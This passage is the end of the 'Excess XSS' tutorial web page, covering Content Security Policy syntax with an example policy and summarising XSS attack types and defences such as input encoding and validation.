<p>The host name can start with <code>*.</code>, which means that any subdomain of the provided host name will be allowed. Similarly, the port number can be <code>*</code>, which means that all ports will be allowed. Additionally, the protocol and port number can be omitted. Finally, a protocol can be given by itself, which makes it possible to require that all resources be loaded using HTTPS.</p>
<p>In addition to the syntax above, a source expression can alternatively be one of four keywords with special meaning (quotes included):</p>
<dl>
<dt><code>'none'</code></dt>
<dd><p>Allows no resources.</p></dd>
<dt><code>'self'</code></dt>
<dd><p>Allows resources from the host that served the page.</p></dd>
<dt><code>'unsafe‑inline'</code></dt>
<dd><p>Allows resources embedded in the page, such as inline <code><script></code> elements, <code><style></code> elements, and <code>javascript:</code> URLs.</p></dd>
<dt><code>'unsafe‑eval'</code></dt>
<dd><p>Allows the use of the JavaScript <code>eval</code> function.</p></dd>
</dl>
<p>Note that whenever CSP is used, inline resources and <code>eval</code> are automatically disallowed by default. Using <code>'unsafe‑inline'</code> and <code>'unsafe‑eval'</code> is the only way to allow them.</p>
<h4 id="csp-example-policy">An example policy</h4>
<p class="code">
<code>
Content‑Security‑Policy:<br>
script‑src 'self' scripts.example.com;<br>
media‑src 'none';<br>
img‑src *;<br>
default‑src 'self' http://*.example.com
</code>
</p>
<p>In this example policy, the page is subject to the following restrictions:</p>
<ul>
<li><p>Scripts can be downloaded only from the host serving the page and from <code>scripts.example.com</code>.</p></li>
<li><p>Audio and video files cannot be downloaded from anywhere.</p></li>
<li><p>Image files can be downloaded from any host.</p></li>
<li><p>All other resources can be downloaded only from the host serving the page and from any subdomain of <code>example.com</code>.</p></li>
</ul>
<h4 id="csp-status">Status of CSP</h4>
<p>As of June 2013, Content Security Policy is <a href="http://www.w3.org/TR/CSP/">a W3C candidate recommendation</a>. It is being implemented by browser vendors, but parts of it are still browser-specific. In particular, the HTTP header to use can differ between browsers. Before using CSP today, consult the documentation of the browsers that you intend to support.</p>
<h2 id="summary">Summary</h2>
<h3 id="overview-summary">Summary: Overview of XSS</h3>
<ul>
<li><p>XSS is a code injection attack made possible through insecure handling of user input.</p></li>
<li><p>A successful XSS attack allows an attacker to execute malicious JavaScript in a victim's browser.</p></li>
<li><p>A successful XSS attack compromises the security of both the website and its users.</p></li>
</ul>
<h3 id="attack-summary">Summary: XSS Attacks</h3>
<ul>
<li>
<p>There are three major types of XSS attacks:</p>
<ul>
<li><p>Persistent XSS, where the malicious input originates from the website's database.</p></li>
<li><p>Reflected XSS, where the malicious input originates from the victim's request.</p></li>
<li><p>DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.</p></li>
</ul>
</li>
<li>
<p>All of these attacks are performed in different ways but have the same effect if they succeed.</p>
</li>
</ul>
<h3 id="prevention-summary">Summary: Preventing XSS</h3>
<ul>
<li>
<p>The most important way of preventing XSS attacks is to perform secure input handling.</p>
<ul>
<li><p>Most of the time, encoding should be performed whenever user input is included in a page.</p></li>
<li><p>In some cases, encoding has to be replaced by or complemented with validation.</p></li>
<li><p>Secure input handling has to take into account which context of a page the user input is inserted into.</p></li>
<li><p>To prevent all types of XSS attacks, secure input handling has to be performed in both client-side and server-side code.</p></li>
</ul>
</li>
<li>
<p>Content Security Policy provides an additional layer of defense for when secure input handling fails.</p>
</li>
</ul>
<h2 id="appendix">Appendix</h2>
<h3 id="xss-terminology">Terminology</h3>
<p>It should be noted that there is overlap in the terminology currently used to describe XSS: a DOM-based XSS attack is also either persistent or reflected at the same time; it's not a separate type of attack. There is no widely accepted terminology that covers all types of XSS without overlap. Regardless of the terminology used to describe XSS, however, the most important thing to identify about any given attack is where the malicious input comes from and where the vulnerability is located.</p>
<h2 id="addendums">Addendums</h2>
<ul>
<li><a href="/whitelisting">How to implement whitelisting securely</a> <time datetime="2016-07-09T20:00:00.000Z">(July 9th, 2016)</time></li>
</ul>
<footer>
<p class="copyright">
<i>Excess XSS</i> by <a href="https://github.com/JakobKallin">Jakob Kallin</a> and <a href="http://se.linkedin.com/in/irenelobovalbuena">Irene Lobo Valbuena</a> is licensed under a
<a rel="license" href="https://creativecommons.org/licenses/by-sa/3.0/deed.en_US">Creative Commons Attribution-ShareAlike 3.0 Unported License</a>.
</p>
<p>The source code for <i>Excess XSS</i> is available on <a href="https://github.com/JakobKallin/Excess-XSS">GitHub</a>.</p>
<p><i>Excess XSS</i> was created in 2013 as part of the <a href="http://www.cse.chalmers.se/edu/course/TDA602/">Language-Based Security</a> course at <a href="http://www.chalmers.se/en/">Chalmers University of Technology</a>.</p>
<p>Have you found an error or omission in <i>Excess XSS</i>? <a href="https://github.com/JakobKallin/Excess-XSS/issues/new">Create an issue</a> or <a href="mailto:jakobkallin@gmail.com">send an email</a>.</p>
</footer>
<script type="text/javascript">
var _paq = _paq || [];
_paq.push(["setDomains", ["*.excess-xss.com"]]);
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//jakobkallin.com/piwik/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<noscript><img src="//jakobkallin.com/piwik/piwik.php?idsite=1" style="border:0;" alt=""></noscript>
</body>
</html>